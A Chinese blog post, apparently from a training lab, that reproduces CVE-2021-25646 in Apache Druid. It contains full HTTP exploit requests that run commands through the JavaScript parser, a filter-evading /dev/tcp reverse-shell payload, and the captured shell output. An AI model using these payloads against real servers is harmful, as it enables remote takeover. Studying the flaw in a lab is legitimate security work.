首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2021-25646,Apache Druid 代码执行漏洞

CVE-2021-25646,Apache Druid 代码执行漏洞

原创
作者头像
你叫夹克
修改2025-10-16 23:05:31
修改2025-10-16 23:05:31
1650
举报

一、CVE-2021-25646,Apache Druid 代码执行漏洞

!quote 参考文档 https://app.nextcyber.cn/courses/45/tasks/588

(一)漏洞条件

Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用,并且默认是禁用的。然而,在Druid 0.20.0及以前的版本中,攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码,而不管服务器配置如何,这将导致代码和命令执行漏洞。

(二)漏洞原理

Apache Druid 的 JavaScript 解析功能存在权限校验绕过缺陷。该功能本应仅在配置启用时,对可信请求执行脚本,但在 0.20.0 及以前版本中,攻击者可通过构造包含恶意 JavaScript 代码的 POST 请求,直接调用 Druid 内置的 java.lang.Runtime 类。此请求会绕过服务器的配置检查,让 Druid 引擎将恶意代码解析为可执行指令,进而触发服务器端命令执行(RCE),最终实现对靶机的远程控制。

代码语言:mermaid
复制
flowchart TD
    A[攻击者构造恶意POST请求] -->|包含恶意JavaScript代码| B[发送请求至Druid服务端:/druid/indexer/v1/sampler]
    B --> C[Druid服务端接收请求]
    C --> D[绕过JavaScript功能的配置检查]
    D --> E[内置引擎解析恶意JavaScript代码]
    E --> F["调用java.lang.Runtime.getRuntime().exec()"]
    F --> G[执行恶意系统命令]
    G --> H["实现远程代码执行(RCE)"]

二、漏洞复现

!NOTE 靶场环境攻击机地址 10.132.1.111靶机地址 10.22.26.116

(一)漏洞测试

访问页面

代码语言:txt
复制
http://10.22.26.116:8888

!success 应用界面

尝试发送恶意请求,以触发RCE

代码语言:http
复制
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 10.22.26.116:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

!success 执行结果 成功返回id命令执行结果:

(二)回弹Shell

攻击机启动监听1234端口。

代码语言:shell
复制
# 本次采用反弹命令
/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/10.132.1.111/1234 0>&1

# 传统反弹命令
# /bin/bash -i >& /dev/tcp/10.132.1.111/1234 0>&1

!NOTE 关于本次的反弹命令 命令 /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/10.132.1.111/1234 0>&1,是通过 “参数传递 + 管道转发” 的方式,解决传统命令可能遇到的拦截问题。 AI给出的绕过逻辑如下:绕过特殊字符过滤:部分环境会拦截 >& 这类重定向符号,用 echo 把完整反弹命令当作字符串输出,再通过管道传给 bash 执行,能规避这类过滤。 适配参数解析规则:Druid 的 JavaScript 引擎在执行 exec() 函数时,对空格、特殊符号的解析可能存在限制。$@ 代表传递给脚本的所有参数,0 是占位参数,整体能让命令在引擎中被正确拆分和执行,避免因解析错误导致命令失效。

修改HTTP请求,发送

代码语言:http
复制
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.2.47:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
              "function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/10.132.1.111/1234 0>&1')}",
              "dimension": "added",
              "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

成功回弹Shell:

代码语言:shell
复制
┌──(kali㉿kali)-[~/demo]
└─$ nc -lvnp 1234      
Listening on 0.0.0.0 1234
Connection received on 10.22.26.116 55850
bash: cannot set terminal process group (34): Inappropriate ioctl for device
bash: no job control in this shell
# ls
ls
LICENSE
NOTICE
README
bin
conf
extensions
hadoop-dependencies
lib
licenses
quickstart
var

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、CVE-2021-25646,Apache Druid 代码执行漏洞
    • (一)漏洞条件
    • (二)漏洞原理
  • 二、漏洞复现
    • (一)漏洞测试
    • (二)回弹Shell
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档